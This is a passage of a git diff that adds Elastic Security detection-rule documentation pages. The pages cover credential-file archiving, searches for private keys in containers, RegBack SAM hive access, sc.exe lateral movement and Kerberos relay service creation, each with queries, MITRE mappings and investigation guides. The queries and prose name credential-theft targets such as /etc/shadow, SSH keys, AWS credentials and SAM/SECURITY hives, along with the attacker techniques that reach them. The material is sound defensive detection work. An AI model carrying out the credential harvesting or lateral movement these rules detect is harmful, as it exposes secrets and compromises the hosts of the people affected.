from one of the following integrations: +- Elastic Defend +- Auditbeat + + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows +the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest to select "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +*Auditbeat Setup* + +Auditbeat is a lightweight shipper that you can install on your servers to audit the activities of users and processes on your systems. For example, you can use Auditbeat to collect and centralize audit events from the Linux Audit Framework. You can also use Auditbeat to detect changes to critical files, like binaries and configuration files, and identify potential security policy violations. + + +*The following steps should be executed in order to add the Auditbeat on a Linux System:* + +- Elastic provides repositories available for APT and YUM-based distributions. Note that we provide binary packages, but no source packages. +- To install the APT and YUM repositories follow the setup instructions in this https://www.elastic.co/guide/en/beats/auditbeat/current/setup-repositories.html[helper guide]. +- To run Auditbeat on Docker follow the setup instructions in the https://www.elastic.co/guide/en/beats/auditbeat/current/running-on-docker.html[helper guide]. +- To run Auditbeat on Kubernetes follow the setup instructions in the https://www.elastic.co/guide/en/beats/auditbeat/current/running-on-kubernetes.html[helper guide]. +- For complete “Setup and Run Auditbeat” information refer to the https://www.elastic.co/guide/en/beats/auditbeat/current/setting-up-and-running.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +event.category:process and host.os.type:linux and event.type:start and +event.action:("exec" or "exec_event" or "start" or "executed" or "process_started") and +process.name:(zip or tar or gzip or hdiutil or 7z) and +process.args: + ( + /root/.ssh/id_rsa or + /root/.ssh/id_rsa.pub or + /root/.ssh/id_ed25519 or + /root/.ssh/id_ed25519.pub or + /root/.ssh/authorized_keys or + /root/.ssh/authorized_keys2 or + /root/.ssh/known_hosts or + /root/.bash_history or + /etc/hosts or + /home/*/.ssh/id_rsa or + /home/*/.ssh/id_rsa.pub or + /home/*/.ssh/id_ed25519 or + /home/*/.ssh/id_ed25519.pub or + /home/*/.ssh/authorized_keys or + /home/*/.ssh/authorized_keys2 or + /home/*/.ssh/known_hosts or + /home/*/.bash_history or + /root/.aws/credentials or + /root/.aws/config or + /home/*/.aws/credentials or + /home/*/.aws/config or + /root/.docker/config.json or + /home/*/.docker/config.json or + /etc/group or + /etc/passwd or + /etc/shadow or + /etc/gshadow + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Unsecured Credentials +** ID: T1552 +** Reference URL: https://attack.mitre.org/techniques/T1552/ +* Sub-technique: +** Name: Credentials In Files +** ID: T1552.001 +** Reference URL: https://attack.mitre.org/techniques/T1552/001/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Local System +** ID: T1005 +** Reference URL: https://attack.mitre.org/techniques/T1005/ +* Technique: +** Name: Archive Collected Data +** ID: T1560 +** Reference URL: https://attack.mitre.org/techniques/T1560/ +* Sub-technique: +** Name: Archive via Utility +** ID: T1560.001 +** Reference URL: https://attack.mitre.org/techniques/T1560/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-sensitive-keys-or-passwords-searched-for-inside-a-container.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-sensitive-keys-or-passwords-searched-for-inside-a-container.asciidoc new file mode 100644 index 0000000000..761b8e35fd --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-sensitive-keys-or-passwords-searched-for-inside-a-container.asciidoc @@ -0,0 +1,166 @@ +[[prebuilt-rule-8-19-20-sensitive-keys-or-passwords-searched-for-inside-a-container]] +=== Sensitive Keys Or Passwords Searched For Inside A Container + +This rule detects the use of system search utilities like grep and find to search for private SSH keys or passwords inside a container. Unauthorized access to these sensitive files could lead to further compromise of the container environment or facilitate a container breakout to the underlying host machine. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://sysdig.com/blog/cve-2021-25741-kubelet-falco/ + +*Tags*: + +* Domain: Container +* OS: Linux +* Use Case: Threat Detection +* Tactic: Credential Access +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Sensitive Keys Or Passwords Searched For Inside A Container* + + +Containers encapsulate applications, providing isolated environments. Adversaries may exploit search utilities like grep or find to locate sensitive credentials within containers, potentially leading to unauthorized access or container escape. The detection rule identifies suspicious searches for private keys or passwords, flagging potential credential access attempts by monitoring process activities and arguments. + + +*Possible investigation steps* + + +- Examine the process.name and process.args fields to determine the exact command executed and assess whether it aligns with typical usage patterns or indicates malicious intent. +- Check the user context under which the process was executed to understand if the activity was performed by a legitimate user or an unauthorized entity. +- Investigate the container's recent activity logs to identify any other suspicious behavior or anomalies that might correlate with the search for sensitive keys or passwords. +- Assess the potential impact by determining if any sensitive files, such as private keys or password files, were accessed or exfiltrated following the search activity. +- If possible, correlate the event with network logs to identify any outbound connections that might suggest data exfiltration attempts. + + +*False positive analysis* + + +- Routine administrative tasks may trigger the rule when system administrators use grep or find to audit or manage SSH keys and passwords within containers. To mitigate this, create exceptions for known administrative scripts or processes that regularly perform these tasks. +- Automated backup or configuration management tools might search for sensitive files as part of their normal operation. Identify these tools and exclude their process IDs or specific command patterns from triggering the rule. +- Security scanning tools that check for the presence of sensitive files could be flagged. Whitelist these tools by their process names or arguments to prevent false positives. +- Developers or DevOps personnel might use search utilities during debugging or development processes. Establish a list of trusted users or roles and exclude their activities from the rule to reduce noise. +- Continuous integration/continuous deployment (CI/CD) pipelines may include steps that search for keys or passwords for validation purposes. Exclude these pipeline processes by identifying their unique process arguments or container IDs. + + +*Response and remediation* + + +- Immediately isolate the affected container to prevent further unauthorized access or potential container escape to the host system. This can be done by stopping the container or disconnecting it from the network. +- Conduct a thorough review of the container's logs and process activities to identify any unauthorized access or data exfiltration attempts. Pay special attention to the processes and arguments flagged by the detection rule. +- Rotate any potentially compromised credentials, including SSH keys and passwords, that were stored or accessed within the container. Ensure that new credentials are securely stored and managed. +- Assess the container's configuration and access controls to identify and rectify any security misconfigurations that may have allowed the unauthorized search for sensitive information. +- Implement additional monitoring and alerting for similar suspicious activities across other containers and the host environment to detect and respond to potential threats promptly. +- Escalate the incident to the security operations team for further investigation and to determine if the threat has spread beyond the initial container. +- Review and update container security policies and practices to prevent recurrence, including enforcing least privilege access and using secrets management solutions to handle sensitive information securely. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. + +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and +process.entry_leader.entry_meta.type == "container" and +process.name in ("grep", "egrep", "fgrep", "find", "locate", "mlocate") and +process.command_line like~ ( + "*BEGIN PRIVATE*", "*BEGIN OPENSSH PRIVATE*", "*BEGIN RSA PRIVATE*", "*BEGIN DSA PRIVATE*", "*BEGIN EC PRIVATE*", + "*id_rsa*", "*id_dsa*" +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Unsecured Credentials +** ID: T1552 +** Reference URL: https://attack.mitre.org/techniques/T1552/ +* Sub-technique: +** Name: Credentials In Files +** ID: T1552.001 +** Reference URL: https://attack.mitre.org/techniques/T1552/001/ +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: File and Directory Discovery +** ID: T1083 +** Reference URL: https://attack.mitre.org/techniques/T1083/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-sensitive-registry-hive-access-via-regback.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-sensitive-registry-hive-access-via-regback.asciidoc new file mode 100644 index 0000000000..67d81445e6 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-sensitive-registry-hive-access-via-regback.asciidoc @@ -0,0 +1,134 @@ +[[prebuilt-rule-8-19-20-sensitive-registry-hive-access-via-regback]] +=== Sensitive Registry Hive Access via RegBack + +Identifies attempts to access sensitive registry hives which contain credentials from the registry backup folder. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Credential Access +* Resources: Investigation Guide +* Data Source: Elastic Defend + +*Version*: 6 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Sensitive Registry Hive Access via RegBack* + + +Collecting registry hives is a common way to access credential information as some hives store credential material. + +For example, the SAM hive stores locally cached credentials (SAM Secrets), and the SECURITY hive stores domain cached credentials (LSA secrets). + +Dumping these hives in combination with the SYSTEM hive enables the attacker to decrypt these secrets. + + +*Possible investigation steps* + + +- Investigate the script execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Identify the user account that performed the action and whether it should perform this kind of action. +- Contact the account owner and confirm whether they are aware of this activity. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Investigate if the credential material was exfiltrated or processed locally by other tools. +- Investigate potentially compromised accounts. Analysts can do this by searching for login events (e.g., 4624) to the target host. + + +*False positive analysis* + + +- Administrators can export registry hives for backup purposes. Check whether the user is legitamitely performing this kind of activity. + + +*Related rules* + + +- Registry Hive File Creation via SMB - a4c7473a-5cb4-4bc1-9d06-e4a75adbc494 + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved hosts to prevent further post-compromise behavior. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Reimage the host operating system and restore compromised files to clean versions. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "windows" and + event.action == "open" and event.outcome == "success" and process.executable != null and + file.path : + ("?:\\Windows\\System32\\config\\RegBack\\SAM", + "?:\\Windows\\System32\\config\\RegBack\\SECURITY", + "?:\\Windows\\System32\\config\\RegBack\\SYSTEM") and + not ( + user.id == "S-1-5-18" and process.executable : ( + "?:\\Windows\\system32\\taskhostw.exe", "?:\\Windows\\system32\\taskhost.exe" + )) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: OS Credential Dumping +** ID: T1003 +** Reference URL: https://attack.mitre.org/techniques/T1003/ +* Sub-technique: +** Name: Security Account Manager +** ID: T1003.002 +** Reference URL: https://attack.mitre.org/techniques/T1003/002/ +* Sub-technique: +** Name: LSA Secrets +** ID: T1003.004 +** Reference URL: https://attack.mitre.org/techniques/T1003/004/ +* Sub-technique: +** Name: Cached Domain Credentials +** ID: T1003.005 +** Reference URL: https://attack.mitre.org/techniques/T1003/005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-service-command-lateral-movement.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-service-command-lateral-movement.asciidoc new file mode 100644 index 0000000000..6a0a6b0c6e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-service-command-lateral-movement.asciidoc @@ -0,0 +1,145 @@ +[[prebuilt-rule-8-19-20-service-command-lateral-movement]] +=== Service Command Lateral Movement + +Identifies use of sc.exe to create, modify, or start services on remote hosts. This could be indicative of adversary lateral movement but will be noisy if commonly done by admins. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process-* +* logs-endpoint.events.network-* +* winlogbeat-* +* logs-windows.sysmon_operational-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Lateral Movement +* Data Source: Elastic Defend +* Data Source: Sysmon +* Resources: Investigation Guide + +*Version*: 211 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Service Command Lateral Movement* + + +The Service Control Manager in Windows allows for the management of services, which are crucial for system operations. Adversaries exploit this by using `sc.exe` to manipulate services on remote systems, facilitating lateral movement. The detection rule identifies suspicious `sc.exe` usage by monitoring for service-related commands targeting remote hosts, which may indicate unauthorized access attempts. This rule helps differentiate between legitimate administrative actions and potential threats. + + +*Possible investigation steps* + + +- Review the process details to confirm the use of sc.exe, focusing on the process.entity_id and process.args fields to understand the specific service-related actions attempted. +- Examine the network activity associated with the sc.exe process, particularly the destination.ip field, to identify the remote host targeted by the command and assess if it is a legitimate administrative target. +- Check the event logs on the remote host for any corresponding service creation, modification, or start events to verify if the actions were successfully executed and to gather additional context. +- Investigate the user account associated with the sc.exe process to determine if it has the necessary permissions for such actions and if the account usage aligns with expected behavior. +- Correlate the alert with other recent alerts or logs involving the same process.entity_id or destination.ip to identify any patterns or additional suspicious activities that may indicate a broader attack campaign. + + +*False positive analysis* + + +- Routine administrative tasks using sc.exe on remote systems can trigger false positives. Identify and document regular maintenance schedules and responsible personnel to differentiate these from potential threats. +- Automated scripts or management tools that use sc.exe for legitimate service management may cause alerts. Review and whitelist these scripts or tools by their process entity IDs to reduce noise. +- Internal IT operations often involve creating or modifying services remotely. Establish a baseline of normal activity patterns and exclude these from alerts by setting exceptions for known IP addresses or user accounts. +- Software deployment processes that involve service configuration changes can be mistaken for lateral movement. Coordinate with software deployment teams to understand their processes and exclude these activities from detection. +- Regularly review and update the exclusion list to ensure it reflects current operational practices and does not inadvertently allow malicious activity. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further lateral movement and unauthorized access to other systems. +- Terminate any suspicious `sc.exe` processes identified on the affected system to halt any ongoing malicious activity. +- Review and reset credentials for any accounts that were used in the suspicious `sc.exe` activity to prevent unauthorized access. +- Conduct a thorough examination of the affected system for any additional signs of compromise, such as unauthorized services or changes to existing services. +- Restore the affected system from a known good backup if any malicious modifications or persistent threats are detected. +- Implement network segmentation to limit the ability of adversaries to move laterally across the network in the future. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. + +==== Rule query + + +[source, js] +---------------------------------- +sequence by process.entity_id with maxspan = 1m + [process where host.os.type == "windows" and event.type == "start" and + (process.name : "sc.exe" or process.pe.original_file_name : "sc.exe") and + process.args : "\\\\*" and process.args : ("binPath=*", "binpath=*") and + process.args : ("create", "config", "failure", "start")] + [network where host.os.type == "windows" and process.name : "sc.exe" and destination.ip != "127.0.0.1"] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Sub-technique: +** Name: SMB/Windows Admin Shares +** ID: T1021.002 +** Reference URL: https://attack.mitre.org/techniques/T1021/002/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Sub-technique: +** Name: Windows Service +** ID: T1543.003 +** Reference URL: https://attack.mitre.org/techniques/T1543/003/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: System Services +** ID: T1569 +** Reference URL: https://attack.mitre.org/techniques/T1569/ +* Sub-technique: +** Name: Service Execution +** ID: T1569.002 +** Reference URL: https://attack.mitre.org/techniques/T1569/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-service-control-spawned-via-script-interpreter.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-service-control-spawned-via-script-interpreter.asciidoc new file mode 100644 index 0000000000..68c9aac1df --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-service-control-spawned-via-script-interpreter.asciidoc @@ -0,0 +1,191 @@ +[[prebuilt-rule-8-19-20-service-control-spawned-via-script-interpreter]] +=== Service Control Spawned via Script Interpreter + +Identifies Service Control (sc.exe) spawning from script interpreter processes to create, modify, or start services. This can potentially indicate an attempt to elevate privileges or maintain persistence. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-system.security* +* logs-windows.forwarded* +* winlogbeat-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/security-labs/invisible-miners-unveiling-ghostengine + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Tactic: Defense Evasion +* Tactic: Execution +* Data Source: Elastic Endgame +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender for Endpoint +* Data Source: Crowdstrike + +*Version*: 218 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Service Control Spawned via Script Interpreter* + + +Windows services are background processes that run with SYSTEM privileges and provide specific functionality or support to other applications and system components. + +The `sc.exe` command line utility is used to manage and control Windows services on a local or remote computer. Attackers may use `sc.exe` to create, modify, and start services to elevate their privileges from administrator to SYSTEM. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Examine the command line, registry changes events, and Windows events related to service activities (for example, 4697 and/or 7045) for suspicious characteristics. + - Examine the created and existent services, the executables or drivers referenced, and command line arguments for suspicious entries. + - !{osquery{"label":"Osquery - Retrieve All Services","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services"}} + - !{osquery{"label":"Osquery - Retrieve Services Running on User Accounts","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services WHERE\nNOT (user_account LIKE '%LocalSystem' OR user_account LIKE '%LocalService' OR user_account LIKE '%NetworkService' OR\nuser_account == null)\n"}} + - !{osquery{"label":"Osquery - Retrieve Service Unsigned Executables with Virustotal Link","query":"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, name, description, start_type, status, pid,\nservices.path FROM services JOIN authenticode ON services.path = authenticode.path OR services.module_path =\nauthenticode.path JOIN hash ON services.path = hash.path WHERE authenticode.result != 'trusted'\n"}} + - Retrieve the referenced files' SHA-256 hash values using the PowerShell `Get-FileHash` cmdlet and search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. +- Identify the user account that performed the action and whether it should perform this kind of action. +- Contact the account owner and confirm whether they are aware of this activity. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Assess whether this behavior is prevalent in the environment by looking for similar occurrences across hosts. + + +*False positive analysis* + + +- This activity is not inherently malicious if it occurs in isolation. As long as the analyst did not identify suspicious activity related to the user, host, and service, such alerts can be dismissed. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Delete the service or restore it to the original configuration. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +/* This rule is not compatible with Sysmon due to user.id issues */ + +process where host.os.type == "windows" and event.type == "start" and + (process.name : "sc.exe" or ?process.pe.original_file_name == "sc.exe") and + process.parent.name : ("cmd.exe", "wscript.exe", "rundll32.exe", "regsvr32.exe", + "wmic.exe", "mshta.exe","powershell.exe", "pwsh.exe") and + process.args:("config", "create", "start", "delete", "stop", "pause") and + /* exclude SYSTEM SID - look for service creations by non-SYSTEM user */ + not user.id : "S-1-5-18" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Sub-technique: +** Name: Windows Service +** ID: T1543.003 +** Reference URL: https://attack.mitre.org/techniques/T1543/003/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Windows Management Instrumentation +** ID: T1047 +** Reference URL: https://attack.mitre.org/techniques/T1047/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ +* Sub-technique: +** Name: Windows Command Shell +** ID: T1059.003 +** Reference URL: https://attack.mitre.org/techniques/T1059/003/ +* Sub-technique: +** Name: Visual Basic +** ID: T1059.005 +** Reference URL: https://attack.mitre.org/techniques/T1059/005/ +* Technique: +** Name: System Services +** ID: T1569 +** Reference URL: https://attack.mitre.org/techniques/T1569/ +* Sub-technique: +** Name: Service Execution +** ID: T1569.002 +** Reference URL: https://attack.mitre.org/techniques/T1569/002/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Sub-technique: +** Name: Mshta +** ID: T1218.005 +** Reference URL: https://attack.mitre.org/techniques/T1218/005/ +* Sub-technique: +** Name: Regsvr32 +** ID: T1218.010 +** Reference URL: https://attack.mitre.org/techniques/T1218/010/ +* Sub-technique: +** Name: Rundll32 +** ID: T1218.011 +** Reference URL: https://attack.mitre.org/techniques/T1218/011/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-service-creation-via-local-kerberos-authentication.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-service-creation-via-local-kerberos-authentication.asciidoc new file mode 100644 index 0000000000..39ebd0b326 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-service-creation-via-local-kerberos-authentication.asciidoc @@ -0,0 +1,144 @@ +[[prebuilt-rule-8-19-20-service-creation-via-local-kerberos-authentication]] +=== Service Creation via Local Kerberos Authentication + +Identifies a suspicious local successful logon event where the Logon Package is Kerberos, the remote address is set to localhost, followed by a sevice creation from the same LogonId. This may indicate an attempt to leverage a Kerberos relay attack variant that can be used to elevate privilege locally from a domain joined user to local System privileges. + +*Rule type*: eql + +*Rule indices*: + +* logs-system.security* +* logs-windows.forwarded* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/Dec0ne/KrbRelayUp +* https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html +* https://github.com/cube0x0/KrbRelay +* https://gist.github.com/tyranid/c24cfd1bd141d14d4925043ee7e03c82 + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Tactic: Credential Access +* Use Case: Active Directory Monitoring +* Data Source: Active Directory +* Data Source: Windows Security Event Logs +* Resources: Investigation Guide + +*Version*: 213 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Service Creation via Local Kerberos Authentication* + + +Kerberos is a network authentication protocol designed to provide strong authentication for client/server applications. In Windows environments, it is often used for secure identity verification. Adversaries may exploit Kerberos by relaying authentication tickets locally to escalate privileges, potentially creating services with elevated rights. The detection rule identifies suspicious local logons using Kerberos, followed by service creation, indicating possible misuse. By monitoring specific logon events and service installations, it helps detect unauthorized privilege escalation attempts. + + +*Possible investigation steps* + + +- Review the event logs for the specific LogonId identified in the alert to gather details about the logon session, including the user account involved and the time of the logon event. +- Examine the source IP address and port from the logon event to confirm it matches the localhost (127.0.0.1 or ::1) and determine if this aligns with expected behavior for the user or system. +- Investigate the service creation event (event ID 4697) associated with the same LogonId to identify the service name, executable path, and any related command-line arguments to assess if it is legitimate or potentially malicious. +- Check for any recent changes or anomalies in the system or user account, such as modifications to user privileges, group memberships, or recent software installations, that could indicate unauthorized activity. +- Correlate the findings with other security alerts or logs from the same timeframe to identify any patterns or additional indicators of compromise that may suggest a broader attack or compromise. + + +*False positive analysis* + + +- Routine administrative tasks may trigger the rule if administrators frequently log in locally using Kerberos and create services as part of their duties. To manage this, create exceptions for known administrative accounts or specific service creation activities that are 